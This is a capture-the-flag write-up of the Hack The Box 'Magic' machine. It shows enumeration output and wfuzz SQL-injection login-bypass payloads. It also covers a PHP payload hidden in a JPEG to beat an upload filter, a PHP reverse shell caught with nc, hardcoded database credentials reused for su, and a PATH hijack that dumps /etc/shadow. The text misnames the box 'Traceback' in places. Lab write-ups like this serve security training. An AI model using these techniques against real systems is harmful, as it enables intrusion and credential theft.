Hack The Box: Magic Write-up
Overview
This writeup documents the methods I used to compromise the Traceback machine on the Hack The Box internal Labs network, which included bypassing an authentication portal with SQLi, bypassing upload filters by embedding PHP code inside a JPG, and hijacking the PATH to redirect an execution call to a controlled file. Traceback was a Medium rated Linux box created by TRX, worth 20 points while it was active.
Kill Chain
Automated Enumeration
I began the automated enumeration of this machine by running an Nmap full TCP port scan against the target host.
I used the -vv flag to display more verbose output, --reason to display the reason a port is in a particular state, -Pn to skip the host discovery checks, -A to enable OS and version detection, --osscan-guess to to enable aggressive OS guessing, --version-all to try every single version probe, and -p- to scan the entire range of potential TCP ports.
nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN _full_tcp_nmap.txt 10.10.10.185
# Nmap 7.80 scan initiated Fri Jul 10 15:34:17 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN _full_tcp_nmap.txt10.10.10.185
Nmap scan report for 10.10.10.185
Host is up, received user-set (0.020s latency).
Scanned at 2020-07-10 15:34:17 EDT for 40s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClcZO7AyXva0myXqRYz5xgxJ8ljSW1c6xX0vzHxP/Qy024qtSuDeQIRZGYsIR+kyje39aNw6HHxdz50XSBSEcauPLDWbIYLUMM+a0smh7/pRjfA+vqHxEp7e5l9H7Nbb1dzQesANxa1glKsEmKi1N8Yg0QHX0/FciFt1rdES9Y4b3I3gse2mSAfdNWn4ApnGnpy1tUbanZYdRtpvufqPWjzxUkFEnFIPrslKZoiQ+MLnp77DXfIm3PGjdhui0PBlkebTGbgo4+U44fniEweNJSkiaZW/CuKte0j/buSlBlnagzDl0meeT8EpBOPjk+F0v6Yr7heTuAZn75pO3l5RHX
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOVyH7ButfnaTRJb0CdXzeCYFPEmm6nkSUd4d52dW6XybW9XjBanHE/FM4kZ7bJKFEOaLzF1lDizNQgiffGWWLQ=
| 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0dM4nfekm9dJWdTux9TqCyCGtW5rbmHfh/4v3NtTU1
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/10%OT=22%CT=1%CU=33533%PV=Y%DS=2%DC=T%G=Y%TM=5F08C2E
OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Uptime guess: 12.347 days (since Sun Jun 28 07:15:11 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 199/tcp)
HOP RTT ADDRESS
1 19.13 ms 10.10.14.1
2 19.32 ms 10.10.10.185
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 10 15:34:57 2020 -- 1 IP address (1 host up) scanned in 40.11 seconds
The Nmap port scan detected two open ports on the target host, tcp/22 and tcp/80.
The first Nmap script scan I ran against the target host was an SSH script scan against tcp/22. I added the -sV flag to have Nmap probe the port to determine the service/version info, -p to specify port 22, and --script="" to specify SSH Nmap scripts.
nmap -vv --reason -Pn -sV -p 22 --script=banner,ssh2-enum-algos,ssh-hostkey,ssh-auth-methods -oN tcp_22_ssh_nmap.txt 10.10.10.185
# Nmap 7.80 scan initiated Fri Jul 10 15:34:26 2020 as: nmap -vv --reason -Pn -sV -p 22 --script=banner,ssh2-enum-algos,ssh-hostkey,ssh-auth-methods -oN tcp_22_ssh_nmap.txt 10.10.10.185
Nmap scan report for 10.10.10.185
Host is up, received user-set (0.019s latency).
Scanned at 2020-07-10 15:34:26 EDT for 1s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_banner: SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
| ssh-auth-methods:
| Supported authentication methods:
|_ publickey
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClcZO7AyXva0myXqRYz5xgxJ8ljSW1c6xX0vzHxP/Qy024qtSuDeQIRZGYsIR+kyje39aNw6HHxdz50XSBSEcauPLDWbIYLUMM+a0smh7/pRjfA+vqHxEp7e5l9H7Nbb1dzQesANxa1glKsEmKi1N8Yg0QHX0/FciFt1rdES9Y4b3I3gse2mSAfdNWn4ApnGnpy1tUbanZYdRtpvufqPWjzxUkFEnFIPrslKZoiQ+MLnp77DXfIm3PGjdhui0PBlkebTGbgo4+U44fniEweNJSkiaZW/CuKte0j/buSlBlnagzDl0meeT8EpBOPjk+F0v6Yr7heTuAZn75pO3l5RHX
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOVyH7ButfnaTRJb0CdXzeCYFPEmm6nkSUd4d52dW6XybW9XjBanHE/FM4kZ7bJKFEOaLzF1lDizNQgiffGWWLQ=
| 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0dM4nfekm9dJWdTux9TqCyCGtW5rbmHfh/4v3NtTU1
| ssh2-enum-algos:
| kex_algorithms: (10)
| curve25519-sha256
| curve25519-sha256@libssh.org
| ecdh-sha2-nistp256
| ecdh-sha2-nistp384
| ecdh-sha2-nistp521
| diffie-hellman-group-exchange-sha256
| diffie-hellman-group16-sha512
| diffie-hellman-group18-sha512
| diffie-hellman-group14-sha256
| diffie-hellman-group14-sha1
| server_host_key_algorithms: (5)
| ssh-rsa
| rsa-sha2-512
| rsa-sha2-256
| ecdsa-sha2-nistp256
| ssh-ed25519
| encryption_algorithms: (6)
| chacha20-poly1305@openssh.com
| aes128-ctr
| aes192-ctr
| aes256-ctr
| aes128-gcm@openssh.com
| aes256-gcm@openssh.com
| mac_algorithms: (10)
| umac-64-etm@openssh.com
| umac-128-etm@openssh.com
| hmac-sha2-256-etm@openssh.com
| hmac-sha2-512-etm@openssh.com
| hmac-sha1-etm@openssh.com
| umac-64@openssh.com
| umac-128@openssh.com
| hmac-sha2-256
| hmac-sha2-512
| hmac-sha1
| compression_algorithms: (2)
| none
|_ zlib@openssh.com
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 10 15:34:27 2020 -- 1 IP address (1 host up) scanned in 1.54 seconds
Reviewing the output, I made note of OpenSSH version, and that the only supported authentication method was publickey.
Next I ran an Nmap HTTP script scan against the target host, updated the --script= targets and the target port.
nmap -vv --reason -Pn -sV -p 80 "--script=banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" -oN tcp_80_http_nmap.txt 10.10.10.185
# Nmap 7.80 scan initiated Fri Jul 10 15:34:26 2020 as: nmap -vv --reason -Pn -sV -p 80 "--script=banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" -oN tcp_80_http_nmap.txt 10.10.10.185
Nmap scan report for 10.10.10.185
Host is up, received user-set (0.027s latency).
Scanned at 2020-07-10 15:34:26 EDT for 25s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-auth-finder:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.185
| url method
|_ http://10.10.10.185:80/login.php FORM
|_http-chrono: Request times for /; avg: 345.27ms; min: 225.97ms; max: 587.07ms
| http-comments-displayer:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.185
|
| Path: http://10.10.10.185:80/assets/js/util.js
| Line number: 37
| Comment:
|
| ...
| ...
|
| Path: http://10.10.10.185:80/login.php
| Line number: 109
| Comment:
|_ <!-- Scripts -->
| http-cookie-flags:
| /login.php:
| PHPSESSID:
|_ httponly flag not set
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.185
| Found the following possible CSRF vulnerabilities:
|
| Path: http://10.10.10.185:80/login.php
| Form id: login-form
|_ Form action:
|_http-date: Fri, 10 Jul 2020 19:39:27 GMT; +4m52s from local time.
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-drupal-enum: Nothing found amongst the top 100 resources,use --script-args number=<number|all> for deeper analysis)
| http-enum:
|_ /login.php: Possible admin folder
|_http-errors: Couldn't find any error pages.
|_http-exif-spider: ERROR: Script execution failed (use -d to debug)
|_http-feed: Couldn't find any feeds.
|_http-fetch: Please enter the complete path of the directory to save data in.
| http-fileupload-exploiter:
|
| Couldn't find a file-type field.
|
|_ Couldn't find a file-type field.
| http-grep:
| (1) http://10.10.10.185:80/assets/js/href;:
| (1) ip:
|_ + 10.10.10.185
| http-headers:
| Date: Fri, 10 Jul 2020 19:39:27 GMT
| Server: Apache/2.4.29 (Ubuntu)
| Connection: close
| Content-Type: text/html; charset=UTF-8
|
|_ (Request type: HEAD)
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
|_http-jsonp-detection: Couldn't find any JSONP endpoints.
|_http-litespeed-sourcecode-download: Request with null byte did not work. This web server might not be vulnerable
|_http-malware-host: Host appears to be clean
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-mobileversion-checker: No mobile version detected.
| http-php-version: Logo query returned unknown hash 9f139a694206190b7ad291e8db5212f7
|_Credits query returned unknown hash 055bd593d24ee1c9eac34d26c3a9bfb1
|_http-referer-checker: Couldn't find any cross-domain scripts.
|_http-security-headers:
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-sitemap-generator:
| Directory structure:
| /
| Other: 1; php: 1
| /assets/css/
| css: 2
| /assets/js/
| js: 4
| /images/fulls/
| jpeg: 1; jpg: 3
| /images/uploads/
| gif: 1; jpg: 4; png: 1
| Longest directory structure:
| Depth: 2
| Dir: /assets/js/
| Total files found (by extension):
|_ Other: 1; css: 2; gif: 1; jpeg: 1; jpg: 7; js: 4; php: 1; png: 1
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-title: Magic Portfolio
| http-traceroute:
| content-length
| Hop #1: 4053
| Hop #2: 4050
|_ Hop #3: 4053
| http-useragent-tester:
| Status for browser useragent: 200
| Allowed User Agents:
| Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
| libwww
| lwp-trivial
| libcurl-agent/1.0
| PHP/
| Python-urllib/2.5
| GT::WWW
| Snoopy
| MFC_Tear_Sample
| HTTP::Lite
| PHPCrawl
| URI::Fetch
| Zend_Http_Client
| http client
| PECL::HTTP
| Wget/1.13.4 (linux-gnu)
|_ WWW-Mechanize/1.34
| http-vhosts:
|_127 names had status 200
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-wordpress-enum: Nothing found amongst the top 100 resources,use --script-args search-limit=<number|all> for deeper analysis)
|_http-wordpress-users: [Error] Wordpress installation was not found. We couldn't find wp-login.php
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 10 15:34:51 2020 -- 1 IP address (1 host up) scanned in 24.87 seconds
I made a note of the Apache httpd version and the authentication form at /login.php. I also took notice of the detected internal IP address. I typically don't see the http-internal-ip-disclosure script pop in these Nmap scan results, so seeing it show up most likely meant something is misconfigured or that the leaked IP could help me in some way.
The next automated scan I ran against the target host was Gobuster so that I could enumerate the web root directory. I ran Gobuster with the -o flag to set the output file, -u to specify the URL to fuzz, -w to specify the wordlist to use, -e to print the full URL for each successful result, -k skip SSL certificate verification, -l to include the length of the body in the output, -s to specify positive status codes, -x to specify the file extensions to search for, and -z suppress the progress display.
gobuster dir -u http://10.10.10.185:80/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -k -l -s "200,204,301,302,307,401,403.500" -x "txt,html,php,asp,aspx,jsp" -z -o tcp_80_http_gobuster.txt
/assets (Status: 301) [Size: 313]
/images (Status: 301) [Size: 313]
/index.php (Status: 200) [Size: 3984]
/login.php (Status: 200) [Size: 4221]
/logout.php (Status: 302) [Size: 0]
/upload.php (Status: 302) [Size: 2957]
The file upload.php was very interesting to me. Combined with the login.php and logout.php files, I thought that there would be a good chance that I would be able to authenticate to to web server in some capacity in order to upload a malicious PHP shellcode payload.
Manual Enumeration
At this point I began to browse the site hosted on tcp/80 directly through my browser. The index.php page was an image carousel displaying a variety of images.
The first thing I noticed on the page was the link to login.php embedded in the 'Please Login, to upload images.' message that was on the bottom left of the page. The second thing I added to my notes was the string 4d61676963 after the copyright tag on the bottom right of the page.
Next I followed the link to /login.php. This page appeared to be a normal looking authentication portal.
Since I hadn't seen really any text content on any of these pages, and I didn't have any references to usernames or proper user syntax, I decided to see if I could use SQL Injection to bypass the authentication page. Since no one has time to sit around and manually fuzz the HTTP forms, I used wfuzz to brute force the SQLi fuzzing. Before I could use wfuzz I had to determine how the web server would respond to an invalid authentication attempt. To check this, I submitted test credentials to the authentication page proxied thorough Burp Suite, then I looked at the raw HTTP response.
The HTTP response to an invalid authentication attempt appeared to be a 200 OK response.
When I executed wfuzz I used the-c flag to force color output to my terminal and the log file, --hc=200 to specify the invalid authentication HTTP response code, -z file,"" to specify the payload wordlist, -d to use specify the POST data for the FUZZ, and I ended the command specifying the target URL and path. Additionally, I used 2>&1 to redirect stderr output to stdout, then I piped the command to tee. I did this in order to have a permanent output log file from the command without having to copy/paste output or save my entire terminal output, while preserving the command output printing to stdout in my terminal during the command execution.
wfuzz -c --hc 200 -z file,"sqli-authbypass.txt" -d "username=FUZZ&password=password123" http://10.10.10.185/login.php 2>&1 | tee -a ./wfuzz-80-sqli-loginphp.txt
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.185/login.php
Total requests: 191
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000035: 302 117 L 277 W 4221 Ch "' or 1=1 -- s"
000000036: 302 117 L 277 W 4221 Ch "' or 1=1 # s"
000000038: 302 117 L 277 W 4221 Ch "' or 1=1 limit 1 -- s"
000000039: 302 117 L 277 W 4221 Ch "' or 1=1 limit 1 # s"
000000072: 302 117 L 277 W 4221 Ch "admin' -- s"
000000073: 302 117 L 277 W 4221 Ch "admin' # s"
000000075: 302 117 L 277 W 4221 Ch "admin' or 1=1 -- s"
000000076: 302 117 L 277 W 4221 Ch "admin' or 1=1 # s"
000000078: 302 117 L 277 W 4221 Ch "admin' or 1=1 limit 1 -- s"
000000081: 302 117 L 277 W 4221 Ch "admin' or '1'='1"
000000079: 302 117 L 277 W 4221 Ch "admin' or 1=1 limit 1 # s"
Total time: 0.500885
Processed Requests: 191
Filtered Requests: 180
Requests/sec.: 381.3248
The SQLi Authentication Bypass wordlist I used will be posted in the cheatsheet section of this site soon, but until then it is just a list I copied from a few different locations on the web, including some Stack Exchange threads and some Medium blogposts.
The SQLi authentication bypass appeared to be successful with a few different payloads. I copied the first one from my terminal and was able to successfully authenticate.
The first thing I tried after I was authenticated was to upload a plain PHP web shell but this errored out. It seemed that the upload.php page was configured to only allow image uploads.
I attempted to just rename change the web shell file extension to .jpg, but that failed as well.
I realized that if the page was filtering content based on something other than plain file extensions, the most likely candidate for filtering method would be the binary magic bit. In order to test if this was the case, I opened up a JPG file in nano, deleted all the binary data after the magic bit, then entered in a PHP hello world statement. The xxd hex dump below shows the file contents after this manipulation was complete.
xxd test.php.jpg ─╯
00000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0060 ......JFIF.....`
00000010: 0060 0000 ffed 1934 5068 6f74 6f73 686f .`.....4Photosho
00000020: 7020 332e 3000 3842 494d 0404 0000 0000 p 3.0.8BIM......
00000030: 000f 1c01 5a00 031b 2547 1c02 0000 020f ....Z...%G......
00000040: fe00 3842 494d 0425 0000 0000 0010 6299 ..8BIM.%......b.
00000050: 48c7 1a91 7382 e920 6986 e46c d701 3842 H...s.. i..l..8B
00000060: 494d 043a 0000 0000 00e5 0000 0010 0000 IM.:............
00000070: 0001 0000 0000 000b 7072 696e 744f 7574 ........printOut
00000080: 7075 7400 0000 0500 0000 0050 7374 5362 put........PstSb
00000090: 6f6f 6c01 0000 0000 496e 7465 656e 756d ool.....Inteenum
000000a0: 0000 0000 496e 7465 0000 0000 436c 726d ....Inte....Clrm
000000b0: 0000 000f 7072 696e 7453 6978 7465 656e ....printSixteen
000000c0: 4269 7462 6f6f 6c00 0000 000b 7072 696e Bitbool.....prin
000000d0: 7465 724e 616d 6554 4558 5400 0000 0100 terNameTEXT.....
000000e0: 0000 0000 0f70 7269 6e74 5072 6f6f 6653 .....printProofS
000000f0: 6574 7570 4f62 6a63 0000 000c 0050 0072 etupObjc.....P.r
00000100: 006f 006f 0066 0020 0053 0065 0074 0075 .o.o.f. .S.e.t.u
00000110: 0070 0000 0000 000a 3c3f 7068 700a 6563 .p......<?php.ec
00000120: 686f 2022 6865 6c6c 6f22 0a3f 3e0a ho "hello".?>.
I then attempted to upload this file at upload.php, which proved to be successful.
In order to verify that I had remote code execution, I navigated to the uploaded image. I found the directory path by opening and inmage from the home page in a new tab and looking at the URL. When the page loaded I verified that I had RCE when I saw the string hello printed without PHP tags on the page.
With verified upload and code execution ability, I swapped out the PHP hello world code for the pentestmonkey PHP reverse shell code from /usr/share/webshells/php/php-reverse-shell.php. After uploading the file and triggering it with a request, I caught a reverse shell on my nc listener.
nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.36] from (UNKNOWN) [10.10.10.185] 57310
Linux ubuntu 5.3.0-42-generic #34~18.04.1-Ubuntu SMP Fri Feb 28 13:42:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
16:26:56 up 29 min, 0 users, load average: ;0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
The first thing I do in the shell is upgrade to a tty shell. Then, since I am in the context of www-data, I began to enumerate the /var/www directory.
/usr/bin/script -qc /bin/bash /dev/null
/usr/bin/script -qc /bin/bash /dev/null
ls -lAh /var/www
ls -lAh /var/www
total 8.0K
drwxr-xr-x 4 www-data www-data 4.0K Mar 17 2020 Magic
drwxr-xr-x 2 root root 4.0K Dec 3 2019 html
ls -lAh /var/www/Magic
ls -lAh
total 44K
-rwx---r-x 1 www-data www-data 162 Oct 18 2019 .htaccess
drwxrwxr-x 6 www-data www-data 4.0K Jun 6 2019 assets
-rw-r--r-- 1 www-data www-data 881 Oct 16 2019 db.php5
drwxr-xr-x 4 www-data www-data 4.0K Apr 14 2020 images
-rw-rw-r-- 1 www-data www-data 4.5K Oct 22 2019 index.php
-rw-r--r-- 1 www-data www-data 5.5K Oct 22 2019 login.php
-rw-r--r-- 1 www-data www-data 72 Oct 18 2019 logout.php
-rw-r--r-- 1 www-data www-data 4.5K Oct 22 2019 upload.php
The db.php5 file immediately caught my eye, so I dumped the file contents to the terminal and saw that a set of database connection credentials were hardcoded in there!
<?php
class Database
{
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
private static $cont = null;
public function __construct() {
die('Init function is not allowed');
}
public static function connect()
{
// One connection through whole application
if ( null == self::$cont )
{
try
{
self::$cont = new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
}
catch(PDOException $e)
{
die($e->getMessage());
}
}
return self::$cont;
}
public static function disconnect()
{
self::$cont = null;
}
}
Since I knew I would not be able to use this password to log in over SSH even if the password was reused, I tried to su into the context of theseus.
su theseus
su theseus
Password: iamkingtheseus
su: Authentication failure
Since that didn't work, I decided to check up on the database that these credentials were for. I knew there was no SQL server listening on an exposed port, so I used netstat to check for one listening on localhost.
netstat -antup | grep LISTEN
netstat -antup | grep LISTEN
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 ::1:631 :::* LISTEN -
Since the mysql database was listening on localhost:3306 and I knew the database being used was named Magic from the db.php5 file, I just used mysqldump to dump the entire contents of the db to my terminal.
mysqldump Magic -u theseus -p
mysqldump Magic -u theseus -p
Enter password: iamkingtheseus
-- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost Database: Magic
-- ------------------------------------------------------
-- Server version 5.7.29-0ubuntu0.18.04.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `login`
--
DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
`id` int(6) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(100) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `login`
--
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2020-11-06 15:13:04
There was another password in cleartext. I thought that maybe this password was being reused, so I attempted to su into the context of theseus again. This time the password worked and I successfully authenticated as user theseus.
su theseus
su theseus
Password: Th3s3usW4sK1ng
theseus@ubuntu:
Escalation of Privilege
The first thing I did under the context of theseus was to run the linpeas.sh privilege escalation script. While reviewing the script output, I saw that there was a file I could read in my current context but was owned by root.
I tried to gather some info on what this binary could be by running strings on it.
strings /bin/sysinfo
strings /bin/sysinfo
/lib64/ld-linux-x86-64.so.2
libstdc++.so.6
...
AWAVI
AUATL
[]A\A]A^A_
popen() failed!
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h
...
;*3$"
zPLR
GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0
The output indicated that the binary executed lshw and fdisk during execution. Since I knew I didn't have write access to change any of the binaries in PATH, I wondered if I could change my PATH to a location where I could write. I set the prepended PATH with /dev/shm, and wrote a payload that would cat the contents of the shadow file, since only root should be able to read it.
echo "cat /etc/shadow" > /dev/shm/fdisk
echo "cat /etc/shadow" > /dev/shm/fdisk
PATH=/dev/shm:$PATH
PATH=/dev/shm:$PATH
echo $PATH
echo $PATH
/dev/shm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
Everything looked good, so I made the payload fdisk executable and ran sysinfo.
chmod +x /dev/shm/fdisk
chmod +x /dev/shm/fdisk
theseus@ubuntu:/$ /bin/sysinfo
/bin/sysinfo
====================Hardware Info====================
H/W path Device Class Description
=====================================================
system VMware Virtual Platform
/0 bus 440BX Desktop Reference Platform
/0/0 memory 86KiB BIOS
/0/1 processor AMD EPYC 7401P 24-Core Processor
/0/1/0 memory 16KiB L1 cache
/0/1/1 memory 16KiB L1 cache
/0/1/2 memory 512KiB L2 cache
/0/1/3 memory 512KiB L2 cache
/0/2 processor AMD EPYC 7401P 24-Core Processor
/0/28 memory System Memory
/0/28/0 memory 4GiB DIMM DRAM EDO
...
...
/0/100/18.7 bridge PCI Express Root Port
/0/46 scsi0 storage
/0/46/0.0.0 /dev/cdrom disk VMware IDE CDR00
/1 system
====================Disk Info====================
root:$6$P9JXkqrh$tQfL.bHaQQmi7tBxwKp2wdSTB0D19Q.PHM.8tdLanqBEs70cKzul4SEY0PqfbxVkUv7bR5wrKYXJlb0p69c42.:18184:0:99999:7:::
daemon:*:18113:0:99999:7:::
bin:*:18113:0:99999:7:::
sys:*:18113:0:99999:7:::
sync:*:18113:0:99999:7:::
games:*:18113:0:99999:7:::
man:*:18113:0:99999:7:::
lp:*:18113:0:99999:7:::
mail:*:18113:0:99999:7:::
news:*:18113:0:99999:7:::
uucp:*:18113:0:99999:7:::
proxy:*:18113:0:99999:7:::
www-data:*:18113:0:99999:7:::
backup:*:18113:0:99999:7:::
list:*:18113:0:99999:7:::
irc:*:18113:0:99999:7:::
gnats:*:18113:0:99999:7:::
nobody:*:18113:0:99999:7:::
systemd-network:*:18113:0:99999:7:::
systemd-resolve:*:18113:0:99999:7:::
syslog:*:18113:0:99999:7:::
messagebus:*:18113:0:99999:7:::
_apt:*:18113:0:99999:7:::
uuidd:*:18113:0:99999:7:::
avahi-autoipd:*:18113:0:99999:7:::
usbmux:*:18113:0:99999:7:::
dnsmasq:*:18113:0:99999:7:::
rtkit:*:18113:0:99999:7:::
cups-pk-helper:*:18113:0:99999:7:::
speech-dispatcher:!:18113:0:99999:7:::
whoopsie:*:18113:0:99999:7:::
kernoops:*:18113:0:99999:7:::
